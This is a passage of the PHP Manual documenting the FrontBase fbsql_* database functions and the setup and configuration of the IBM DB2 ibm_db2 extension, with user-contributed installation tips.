A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

password

If provided, this will be the new connection password.

Return Values

Returns the current password used for the connection.

See Also

  • fbsql_username() - Get or set the username for the connection
  • fbsql_hostname() - Get or set the host name used with a connection

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to a FrontBase Server

  • « fbsql_password
  • fbsql_query »
  • PHP Manual
  • FrontBase Functions
  • Open a persistent connection to a FrontBase Server

fbsql_pconnect

(PHP 4 >= 4.0.6, PHP 5)

fbsql_pconnect — Open a persistent connection to a FrontBase Server

Description

 resource fbsql_pconnect
  ([ string $hostname = ini_get("fbsql.default_host")
 [, string $username = ini_get("fbsql.default_user")
 [, string $password = ini_get("fbsql.default_password")
]]] )

Establishes a persistent connection to a FrontBase server.

To set the server port number, use fbsql_select_db().

fbsql_pconnect() acts very much like fbsql_connect() with two major differences:

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use.

This type of links is therefore called 'persistent'.

Parameters

hostname

The server host name.

username

The user name for the connection.

password

The password for the connection.

Return Values

Returns a positive FrontBase persistent link identifier on success, or FALSE on error.

See Also

  • fbsql_connect() - Open a connection to a FrontBase Server

User Contributed Notes

There are no user contributed notes for this page.


Send a FrontBase query

  • « fbsql_pconnect
  • fbsql_read_blob »
  • PHP Manual
  • FrontBase Functions
  • Send a FrontBase query

fbsql_query

(PHP 4 >= 4.0.6, PHP 5)

fbsql_query — Send a FrontBase query

Description

resource fbsql_query ( string $query [, resource $link_identifier [, int $batch_size ]] )

Sends a query to the currently active database on the server.

If the query succeeds, you can call fbsql_num_rows() to find out how many rows were returned for a SELECT statement or fbsql_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

Parameters

query

The SQL query to be executed.

Note:

The query string shall always end with a semicolon.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

batch_size

Return Values

fbsql_query() returns TRUE (non-zero) or FALSE to indicate whether or not the query succeeded. A return value of TRUE means that the query was legal and could be executed by the server. It does not indicate anything about the number of rows affected or returned. It is perfectly possible for a query to succeed but affect no rows or return no rows.

For SELECT statements, fbsql_query() returns a new result identifier that you can pass to fbsql_result().

fbsql_query() will also fail and return FALSE if you don't have permission to access the table(s) referenced by the query.

Examples

The following query is syntactically invalid, so fbsql_query() fails and returns FALSE:

Example #1 fbsql_query() example

<?php
$result = fbsql_query("SELECT * WHERE 1=1")
    or die ("Invalid query");
?>

The following query is semantically invalid if my_col is not a column in the table my_tbl, so fbsql_query() fails and returns FALSE:

Example #2 fbsql_query() example

<?php
$result = fbsql_query ("SELECT my_col FROM my_tbl;")
    or die ("Invalid query");
?>

See Also

  • fbsql_affected_rows() - Get number of affected rows in previous FrontBase operation
  • fbsql_db_query() - Send a FrontBase query
  • fbsql_free_result() - Free result memory
  • fbsql_result() - Get result data
  • fbsql_select_db() - Select a FrontBase database
  • fbsql_connect() - Open a connection to a FrontBase Server

User Contributed Notes

There are no user contributed notes for this page.


Read a BLOB from the database

  • « fbsql_query
  • fbsql_read_clob »
  • PHP Manual
  • FrontBase Functions
  • Read a BLOB from the database

fbsql_read_blob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_read_blob — Read a BLOB from the database

Description

string fbsql_read_blob ( string $blob_handle [, resource $link_identifier ] )

Reads BLOB data from the database.

If a select statement contains BLOB and/or CLOB columns FrontBase will return the data directly when data is fetched. This default behavior can be changed with fbsql_set_lob_mode() so the fetch functions will return handles to BLOB and CLOB data. If a handle is fetched a user must call fbsql_read_blob() to get the actual BLOB data from the database.

Parameters

blob_handle

A BLOB handle, returned by fbsql_create_blob().

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a string containing the specified BLOB data.

Examples

Example #1 fbsql_read_blob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
$sql = "SELECT BLOB_COLUMN FROM BLOB_TABLE;";
$rs = fbsql_query($sql, $link);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] will now contain the blob data for the first row
fbsql_free_result($rs);

$rs = fbsql_query($sql, $link);
fbsql_set_lob_mode($rs, FBSQL_LOB_HANDLE);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] will now contain a handle to the BLOB data in the first row
$blob_data = fbsql_read_blob($row_data[0]);
fbsql_free_result($rs);

?>

See Also

  • fbsql_create_blob() - Create a BLOB
  • fbsql_read_clob() - Read a CLOB from the database
  • fbsql_set_lob_mode() - Set the LOB retrieve mode for a FrontBase result set

User Contributed Notes

There are no user contributed notes for this page.


Read a CLOB from the database

  • « fbsql_read_blob
  • fbsql_result »
  • PHP Manual
  • FrontBase Functions
  • Read a CLOB from the database

fbsql_read_clob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_read_clob — Read a CLOB from the database

Description

string fbsql_read_clob ( string $clob_handle [, resource $link_identifier ] )

Reads CLOB data from the database.

If a select statement contains BLOB and/or CLOB columns FrontBase will return the data directly when data is fetched. This default behavior can be changed with fbsql_set_lob_mode() so the fetch functions will return handles to BLOB and CLOB data. If a handle is fetched a user must call fbsql_read_clob() to get the actual CLOB data from the database.

Parameters

clob_handle

A CLOB handle, returned by fbsql_create_clob().

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a string containing the specified CLOB data.

Examples

Example #1 fbsql_read_clob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
$sql = "SELECT CLOB_COLUMN FROM CLOB_TABLE;";
$rs = fbsql_query($sql, $link);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] will now contain the clob data for the first row
fbsql_free_result($rs);

$rs = fbsql_query($sql, $link);
fbsql_set_lob_mode($rs, FBSQL_LOB_HANDLE);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] will now contain a handle to the CLOB data in the first row
$clob_data = fbsql_read_clob($row_data[0]);
fbsql_free_result($rs);

?>

See Also

  • fbsql_create_clob() - Create a CLOB
  • fbsql_read_blob() - Read a BLOB from the database
  • fbsql_set_lob_mode() - Set the LOB retrieve mode for a FrontBase result set

User Contributed Notes

There are no user contributed notes for this page.


Get result data

  • « fbsql_read_clob
  • fbsql_rollback »
  • PHP Manual
  • FrontBase Functions
  • Get result data

fbsql_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_result — Get result data

Description

mixed fbsql_result ( resource $result [, int $row [, mixed $field ]] )

Returns the contents of one cell from a FrontBase result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than fbsql_result().

Calls to fbsql_result() should not be mixed with calls to other functions that deal with the result set.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

row

field

Can be the field's offset, or the field's name, or the field's table dot field's name (tablename.fieldname).

If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name.

Note:

Specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Return Values

See Also

Recommended high-performance alternatives:

  • fbsql_fetch_row() - Get a result row as an enumerated array
  • fbsql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_assoc() - Fetch a result row as an associative array
  • fbsql_fetch_object() - Fetch a result row as an object

User Contributed Notes

There are no user contributed notes for this page.


Rollback a transaction to the database

  • « fbsql_result
  • fbsql_rows_fetched »
  • PHP Manual
  • FrontBase Functions
  • Rollback a transaction to the database

fbsql_rollback

(PHP 4 >= 4.0.6, PHP 5)

fbsql_rollback — Rollback a transaction to the database

Description

bool fbsql_rollback ([ resource $link_identifier ] )

Ends the current transaction by rolling back all statements issued since last commit.

This command is only needed if autocommit is set to false.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_autocommit() - Enable or disable autocommit
  • fbsql_commit() - Commits a transaction to the database

User Contributed Notes

There are no user contributed notes for this page.


Get the number of rows affected by the last statement

  • « fbsql_rollback
  • fbsql_select_db »
  • PHP Manual
  • FrontBase Functions
  • Get the number of rows affected by the last statement

fbsql_rows_fetched

(PHP 5 >= 5.1.0)

fbsql_rows_fetched — Get the number of rows affected by the last statement

Description

int fbsql_rows_fetched ( resource $result )

Gets the number of rows affected by the last statement.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns the number of rows, as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Select a FrontBase database

  • « fbsql_rows_fetched
  • fbsql_set_characterset »
  • PHP Manual
  • FrontBase Functions
  • Select a FrontBase database

fbsql_select_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_select_db — Select a FrontBase database

Description

bool fbsql_select_db ([ string $database_name [, resource $link_identifier ]] )

Sets the current active database on the given link identifier.

The client contacts FBExec to obtain the port number to use for the connection to the database. If the database name is a number the system will use that as a port number and it will not ask FBExec for the port number. The FrontBase server can be stared as FRontBase -FBExec=No -port=<port number> <database name>.

Every subsequent call to fbsql_query() will be made on the active database.

Parameters

database_name

The name of the database to be selected.

If the database is protected with a database password, the you must call fbsql_database_password() before selecting the database.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_connect() - Open a connection to a FrontBase Server
  • fbsql_pconnect() - Open a persistent connection to a FrontBase Server
  • fbsql_database_password() - Sets or retrieves the password for a FrontBase database
  • fbsql_query() - Send a FrontBase query

User Contributed Notes

There are no user contributed notes for this page.


Change input/output character set

  • « fbsql_select_db
  • fbsql_set_lob_mode »
  • PHP Manual
  • FrontBase Functions
  • Change input/output character set

fbsql_set_characterset

(PHP 5 >= 5.1.0)

fbsql_set_characterset — Change input/output character set

Description

void fbsql_set_characterset ( resource $link_identifier , int $characterset [, int $in_out_both ] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set the LOB retrieve mode for a FrontBase result set

  • « fbsql_set_characterset
  • fbsql_set_password »
  • PHP Manual
  • FrontBase Functions
  • Set the LOB retrieve mode for a FrontBase result set

fbsql_set_lob_mode

(PHP 4 >= 4.2.0, PHP 5)

fbsql_set_lob_mode — Set the LOB retrieve mode for a FrontBase result set

Description

bool fbsql_set_lob_mode ( resource $result , int $lob_mode )

Sets the mode for retrieving LOB data from the database.

When BLOB and CLOB data is retrieved in FrontBase it can be retrieved direct or indirect. Direct retrieved LOB data will always be fetched no matter the setting of the lob mode. If the LOB data is less than 512 bytes it will always be retrieved directly.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

lob_mode

Can be one of:

  • FBSQL_LOB_DIRECT - LOB data is retrieved directly. When data is fetched from the database with fbsql_fetch_row(), and other fetch functions, all CLOB and BLOB columns will be returned as ordinary columns. This is the default value on a new FrontBase result.
  • FBSQL_LOB_HANDLE - LOB data is retrieved as handles to the data. When data is fetched from the database with fbsql_fetch_row(), and other fetch functions, LOB data will be returned as a handle to the data if the data is stored indirect or the data if it is stored direct. If a handle is returned it will be a 27 byte string formatted as @'000000000000000000000000'.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_create_blob() - Create a BLOB
  • fbsql_create_clob() - Create a CLOB
  • fbsql_read_blob() - Read a BLOB from the database
  • fbsql_read_clob() - Read a CLOB from the database

User Contributed Notes

There are no user contributed notes for this page.


Change the password for a given user

  • « fbsql_set_lob_mode
  • fbsql_set_transaction »
  • PHP Manual
  • FrontBase Functions
  • Change the password for a given user

fbsql_set_password

(PHP 5)

fbsql_set_password — Change the password for a given user

Description

bool fbsql_set_password ( resource $link_identifier , string $user , string $password , string $old_password )

Changes the password for the given user.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

user

The user name.

password

The new password to be set.

old_password

The old password to be replaced.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set the transaction locking and isolation

  • « fbsql_set_password
  • fbsql_start_db »
  • PHP Manual
  • FrontBase Functions
  • Set the transaction locking and isolation

fbsql_set_transaction

(PHP 4 >= 4.2.0, PHP 5)

fbsql_set_transaction — Set the transaction locking and isolation

Description

void fbsql_set_transaction ( resource $link_identifier , int $locking , int $isolation )

Sets the transaction locking and isolation.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

locking

The type of locking to be set. It can be one of the following constants: FBSQL_LOCK_DEFERRED, FBSQL_LOCK_OPTIMISTIC, or FBSQL_LOCK_PESSIMISTIC.

isolation

The type of isolation to be set. It can be one of the following constants: FBSQL_ISO_READ_UNCOMMITTED, FBSQL_ISO_READ_COMMITTED, FBSQL_ISO_REPEATABLE_READ, FBSQL_ISO_SERIALIZABLE, or FBSQL_ISO_VERSIONED.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Start a database on local or remote server

  • « fbsql_set_transaction
  • fbsql_stop_db »
  • PHP Manual
  • FrontBase Functions
  • Start a database on local or remote server

fbsql_start_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_start_db — Start a database on local or remote server

Description

bool fbsql_start_db ( string $database_name [, resource $link_identifier [, string $database_options ]] )

Start a database on local or remote server.

Parameters

database_name

The database name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

database_options

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_db_status() - Get the status for a given database
  • fbsql_stop_db() - Stop a database on local or remote server

User Contributed Notes

There are no user contributed notes for this page.


Stop a database on local or remote server

  • « fbsql_start_db
  • fbsql_table_name »
  • PHP Manual
  • FrontBase Functions
  • Stop a database on local or remote server

fbsql_stop_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_stop_db — Stop a database on local or remote server

Description

bool fbsql_stop_db ( string $database_name [, resource $link_identifier ] )

Stops a database on local or remote server.

Parameters

database_name

The database name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_db_status() - Get the status for a given database
  • fbsql_start_db() - Start a database on local or remote server

User Contributed Notes

There are no user contributed notes for this page.


Get table name of field

  • « fbsql_stop_db
  • fbsql_tablename »
  • PHP Manual
  • FrontBase Functions
  • Get table name of field

fbsql_table_name

(PHP 4 >= 4.2.0, PHP 5)

fbsql_table_name — Get table name of field

Description

string fbsql_table_name ( resource $result , int $index )

fbsql_table_name() gets the name of the current table in the given result set.

The fbsql_num_rows() function may be used to determine the number of tables in the result pointer.

Parameters

result

A result pointer returned by fbsql_list_tables().

index

Integer index for the current table.

Return Values

Returns the name of the table, as a string.

Examples

Example #1 fbsql_table_name() example

<?php
fbsql_connect("localhost", "_SYSTEM", "");
$result = fbsql_list_tables("wisconsin");
$i = 0;
while ($i < fbsql_num_rows($result)) {
    $tb_names[$i] = fbsql_table_name($result, $i);
    echo $tb_names[$i] . "<br />";
    $i++;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Alias of fbsql_table_name

  • « fbsql_table_name
  • fbsql_username »
  • PHP Manual
  • FrontBase Functions
  • Alias of fbsql_table_name

fbsql_tablename

(PHP 4 >= 4.2.0, PHP 5)

fbsql_tablename — Alias of fbsql_table_name()

Description

This function is an alias of: fbsql_table_name().

User Contributed Notes

There are no user contributed notes for this page.


Get or set the username for the connection

  • « fbsql_tablename
  • fbsql_warnings »
  • PHP Manual
  • FrontBase Functions
  • Get or set the username for the connection

fbsql_username

(PHP 4 >= 4.0.6, PHP 5)

fbsql_username — Get or set the username for the connection

Description

string fbsql_username ( resource $link_identifier [, string $username ] )

Get or set the username used for the connection.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

username

If provided, this is the new username to set.

Return Values

Returns the current username used with the connection, as a string.

See Also

  • fbsql_password() - Get or set the user password used with a connection
  • fbsql_hostname() - Get or set the host name used with a connection

User Contributed Notes

There are no user contributed notes for this page.


Enable or disable FrontBase warnings

  • « fbsql_username
  • IBM DB2 »
  • PHP Manual
  • FrontBase Functions
  • Enable or disable FrontBase warnings

fbsql_warnings

(PHP 4 >= 4.0.6, PHP 5)

fbsql_warnings — Enable or disable FrontBase warnings

Description

bool fbsql_warnings ([ bool $OnOff ] )

Enables or disables FrontBase warnings.

Parameters

OnOff

Whether to enable warnings or no.

Return Values

Returns TRUE if warnings is turned on, FALSE otherwise.

See Also

  • fbsql_errno() - Returns the error number from previous operation
  • fbsql_error() - Returns the error message from previous operation

User Contributed Notes

There are no user contributed notes for this page.


IBM DB2, Cloudscape and Apache Derby

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • IBM DB2 Functions
    • db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection
    • db2_bind_param — Binds a PHP variable to an SQL statement parameter
    • db2_client_info — Returns an object with properties that describe the DB2 database client
    • db2_close — Closes a database connection
    • db2_column_privileges — Returns a result set listing the columns and associated privileges for a table
    • db2_columns — Returns a result set listing the columns and associated metadata for a table
    • db2_commit — Commits a transaction
    • db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt
    • db2_conn_errormsg — Returns the last connection error message and SQLCODE value
    • db2_connect — Returns a connection to a database
    • db2_cursor_type — Returns the cursor type used by a statement resource
    • db2_escape_string — Used to escape certain characters
    • db2_exec — Executes an SQL statement directly
    • db2_execute — Executes a prepared SQL statement
    • db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set
    • db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set
    • db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set
    • db2_fetch_object — Returns an object with properties representing columns in the fetched row
    • db2_fetch_row — Sets the result set pointer to the next row or requested row
    • db2_field_display_size — Returns the maximum number of bytes required to display a column
    • db2_field_name — Returns the name of the column in the result set
    • db2_field_num — Returns the position of the named column in a result set
    • db2_field_precision — Returns the precision of the indicated column in a result set
    • db2_field_scale — Returns the scale of the indicated column in a result set
    • db2_field_type — Returns the data type of the indicated column in a result set
    • db2_field_width — Returns the width of the current value of the indicated column in a result set
    • db2_foreign_keys — Returns a result set listing the foreign keys for a table
    • db2_free_result — Frees resources associated with a result set
    • db2_free_stmt — Frees resources associated with the indicated statement resource
    • db2_get_option — Retrieves an option value for a statement resource or a connection resource
    • db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection
    • db2_lob_read — Gets a user defined size of LOB files with each invocation
    • db2_next_result — Requests the next result set from a stored procedure
    • db2_num_fields — Returns the number of fields contained in a result set
    • db2_num_rows — Returns the number of rows affected by an SQL statement
    • db2_pclose — Closes a persistent database connection
    • db2_pconnect — Returns a persistent connection to a database
    • db2_prepare — Prepares an SQL statement to be executed
    • db2_primary_keys — Returns a result set listing primary keys for a table
    • db2_procedure_columns — Returns a result set listing stored procedure parameters
    • db2_procedures — Returns a result set listing the stored procedures registered in a database
    • db2_result — Returns a single column from a row in the result set
    • db2_rollback — Rolls back a transaction
    • db2_server_info — Returns an object with properties that describe the DB2 database server
    • db2_set_option — Set options for connection or statement resources
    • db2_special_columns — Returns a result set listing the unique row identifier columns for a table
    • db2_statistics — Returns a result set listing the index and statistics for a table
    • db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement
    • db2_stmt_errormsg — Returns a string containing the last SQL statement error message
    • db2_table_privileges — Returns a result set listing the tables and associated privileges in a database
    • db2_tables — Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions enable you to access IBM DB2 Universal Database, IBM Cloudscape, and Apache Derby databases using the DB2 Call Level Interface (DB2 CLI).

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

Morten Bjoernsvik 07-May-2008 09:07
On linux I've found that I explicitly have to add the -c <path to php.ini> with the shell and
PHPIniDir="/etc/php.ini" in php5.conf or httpd.conf otherwise the ibm_db2.so is not loaded.

It doesn't help setting the --sysconfdir=/etc for configure when compiling.

% php -m | grep db2
% php -c /etc -m | grep db2
ibm_db2
juraj dot hrapko at gmail dot com 27-Apr-2008 08:36
After  installation of ibm_db2 on Linux, you have to add into php.ini:
extension=/path_to_file/ibm_db2.so
ibm_db2.instance_name=instance

Dont forget the path to ibm_db2.so. As for me it does not work without the path.


Requirements

To connect to IBM DB2 Universal Database for Linux, UNIX, and Windows, or IBM Cloudscape, or Apache Derby, you must install an IBM DB2 Universal Database client on the same computer on which you are running PHP. The extension has been developed and tested with DB2 Version 8.2.

To connect to IBM DB2 Universal Database for z/OS or iSeries, you also require IBM DB2 Connect or the equivalent DRDA gateway software.

Requirements on Linux or Unix

The user invoking the PHP executable or SAPI must specify the DB2 instance before accessing these functions. You can set the name of the DB2 instance in php.ini using the ibm_db2.instance_name configuration option, or you can source the DB2 instance profile before invoking the PHP executable.

If you created a DB2 instance named db2inst1 in /home/db2inst1/, for example, you can add the following line to php.ini:

ibm_db2.instance_name=db2inst1
If you do not set this option in php.ini, you must issue the following command to modify your environment variables to enable access to DB2:
bash$ source /home/db2inst1/sqllib/db2profile
To enable your PHP-enabled Web server to access these functions, you must either set the ibm_db2.instance_name configuration option in php.ini, or source the DB2 instance environment in your Web server start script (typically /etc/init.d/httpd or /etc/init.d/apache).

User Contributed Notes

There are no user contributed notes for this page.


Installation

To build the ibm_db2 extension, the DB2 application development header files and libraries must be installed on your system. DB2 does not install these by default, so you may have to return to your DB2 installer and add this option. The header files are included with the DB2 Application Development Client freely available for download from the IBM DB2 Universal Database » support site.

If you add the DB2 application development header files and libraries to a Linux or Unix operating system on which DB2 was already installed, you must issue the command db2iupdt -e to update the symbolic links to the header files and libraries in your DB2 instances.

ibm_db2 is a » PECL extension, so follow the instructions in Installation of PECL extensions to install the ibm_db2 extension for PHP. Issue the configure command to point to the location of your DB2 header files and libraries as follows:

bash$ ./configure --with-IBM_DB2=/path/to/DB2
The configure command defaults to /opt/IBM/db2/V8.1.

Note: Note for IIS users

If you are using the ibm_db2 driver with Microsoft Internet Information Server (IIS) you may have to do the following:

  • Install DB2 with extended operating system security.
  • Add the PHP binary path to the PATH system environment variable (default C:\php\).
  • Create another system environment variable equal to the path where the PHP.INI file is located (eg: PHPRC = C:\php\).
  • Add the IUSR_COMPUTERNAME to the DB2USERS group.

User Contributed Notes

jean dot ferreira at gmail dot com 28-Sep-2013 05:16
==Installation ibm_db2 in PHP5, using Data Server Driver Package and pecl on Debian / Ubuntu==

==Advantages==
#You do not need DB2 (database) installed
#The ibm_db2 driver is downloaded and automatically compiled by pecl

==Steps==
#1- Install packages
apt-get install php-pear ksh zip

#2- Make directory
mkdir /opt/ibm

#3- Download Data Server Driver Package (dsdriver), as the architecture
(https://www-304.ibm.com/support/docview.wss?rs=4020&uid=swg27016878&wv=1)

#4- Decompress dsdriver at /opt/ibm/
tar -xvf v10.5fp1_linuxx64_dsdriver.tar.gz  (linux64)
or
tar -xvf v10.5fp1_linuxia32_dsdriver.tar.gz (linux32)

#5- Change permission instalation script  -  /opt/ibm/dsddriver
chmod 755 installDSDriver

#6- Run the installation script
ksh installDSDriver

#7- Download and install the driver using the pecl
pecl install ibm_db2

downloading ibm_db2-1.9.5.tgz ...
Starting to download ibm_db2-1.9.5.tgz (157,720 bytes)
................done: 157,720 bytes
5 source files, building
running: phpize
Configuring for:
PHP Api Version:         20090626
Zend Module Api No:      20090626
Zend Extension Api No:   220090626

#8- Configure the installation directory
DB2 Installation Directory? : /opt/ibm/dsdriver

Build process completed successfully
Installing '/usr/lib/php5/20090626/ibm_db2.so'
install ok: channel://pecl.php.net/ibm_db2-1.9.5
configuration option "php_ini" is not set to php.ini location
You should add "extension=ibm_db2.so" to php.ini

#9- Change php.ini
vim /etc/php5/apache2/php.ini
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
extension = ibm_db2.so
extension = /usr/lib/php5/20090626/ibm_db2.so

#10- Reboot the Apache
service apache2 restart
rifat dot aras at gmail dot com 29-Apr-2012 02:02
If you try to use the php_ibm_db2.dll that comes with the database while working with a WAMP server, you may have difficulties loading the ibm_db2 extension. You can understand this by checking the Apache error log.

This can be solved by downloading the correct dll by visiting http://sourceforge.net/projects/db2mc/files/ and then clicking "IBM_DB2 PHP Driver for Windows > PHP 5.(2|3)._ > VC(6|9) > php_ibm_db2-ver-(nts_ts)-vc(6|9)-x86.zip"

The correct dll version can be determined by checking the "Compiler" and "Thread Safety" fields on the php_info page.

Copy the dll to the extension directory, update the php.ini file, and restart the Apache service.
angoca at yahoo dot com 25-Nov-2011 05:29
In DB2 v9 the clients have changed their names. Now, they are called

Data server client

If you search in Internet "DB2 fixpack" you will get an IBM address like

http://www-01.ibm.com/support/docview.wss?uid=swg24031181

You select the DB2 version and fixpack level, then the platform and finally the product, that in this case is "Data Server client"
kpfitzgerald at gmail dot com 01-Apr-2011 07:14
Actually a much simpler way on SLES 11 SP1 and DB2 Express C  is to execute the following.

pecl install ibm_db2

when it asks for your path put in your location of SQLLIB not your db2 install. usually found here...

/home/db2inst1/sqllib

to verify execute
pecl list

Should show the following:

Installed packages, channel pecl.php.net:
=========================================
Package Version State
ibm_db2 1.9.1   stable
AngocA 27-Mar-2009 12:12
I installed this tool foolwing the next steps:

(Prereq: I've installed DB2 express-c before, and also Apache and php)

- Download the file: ibm_db2-1.8.2.tgz
- Untar the file: tar -xvf ibm_db2-1.8.2.tgz
- Go to the main directory
- Execute 'phpize' and that creates several files.
- Execute './configure --with-IBM_DB2=/opt/ibmn/db2/V9.5_01'
- Execute 'make'
- Execute 'make install'
- Modify the php.ini file in order to activate the ibm_db2.so extension.
    extension=ibm_db2.so

To check that the library is included: php -i

Then, you have to restart Apache: httpd -k restart


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

ibm_db2 Configure Options
Name | Default | Changeable | Changelog
ibm_db2.binmode | "1" | PHP_INI_ALL |
ibm_db2.i5_all_pconnect | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.6.5.
ibm_db2.i5_allow_commit | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.4.9.
ibm_db2.i5_dbcs_alloc | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.5.0.
ibm_db2.instance_name | NULL | PHP_INI_SYSTEM | Available since ibm_db2 1.0.2.
ibm_db2.i5_ignore_userid | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.8.0.

Here's a short explanation of the configuration directives.

ibm_db2.binmode integer

This option controls the mode used for converting to and from binary data in the PHP application.

  • 1 (DB2_BINARY)

  • 2 (DB2_CONVERT)

  • 3 (DB2_PASSTHRU)

ibm_db2.i5_all_pconnect integer

This option overrides i5 db2_connect() full open and close in the PHP application. When ibm_db2.i5_all_pconnect = 1, all db2 connections become persistent (db2_pconnect()). On i5/OS, db2_pconnect() performs dramatically better with lower machine stress over db2_connect(). This is a convenience override of db2_connect() to evoke db2_pconnect() without PHP source code changes.

  • 0 db2_connect() default full open and close

  • 1 db2_connect() override to db2_pconnect() for persistent connection only

ibm_db2.i5_allow_commit integer

This option controls the commit mode used for i5 schema collections in the PHP application.

  • 0 no commit (see i5_commit for override)

  • 1 allow commit (see i5_commit for override)

ibm_db2.i5_dbcs_alloc integer

This option controls the internal ibm_db2 allocation scheme for large DBCS column buffers.

  • 0 no expanded allocations (see i5_dbcs_alloc for override)

  • 1 use expanded allocations (see i5_dbcs_alloc for override)

ibm_db2.instance_name string

On Linux and UNIX operating systems, this option defines the name of the instance to use for cataloged database connections. If this option is set, its value overrides the DB2INSTANCE environment variable setting.

This option is ignored on Windows operating systems.

ibm_db2.i5_ignore_userid integer

This option overrides i5 db2_(p)connect userid and password in the PHP application. When ibm_db2.i5_ignore_userid = 1, all db2 (p)connections become null userid and null password. Therefore Apache jobs connect with the current profile (NOBODY). Use of this override is only for simple DB2 based websites that never require profile switching and therefore can avoid all overhead of server mode additional QSQSRVR jobs. This is a convenience override of db2_(p)connect to set the userid and password values to null without PHP source code changes. This override can be used in combination with ibm_db2.i5_all_pconnect = 1.

  • 0 db2_(p)connect with specified userid and password

  • 1 db2_(p)connect override connect with null userid and null password

User Contributed Notes

Satoru Yoshida 26-Dec-2012 10:42
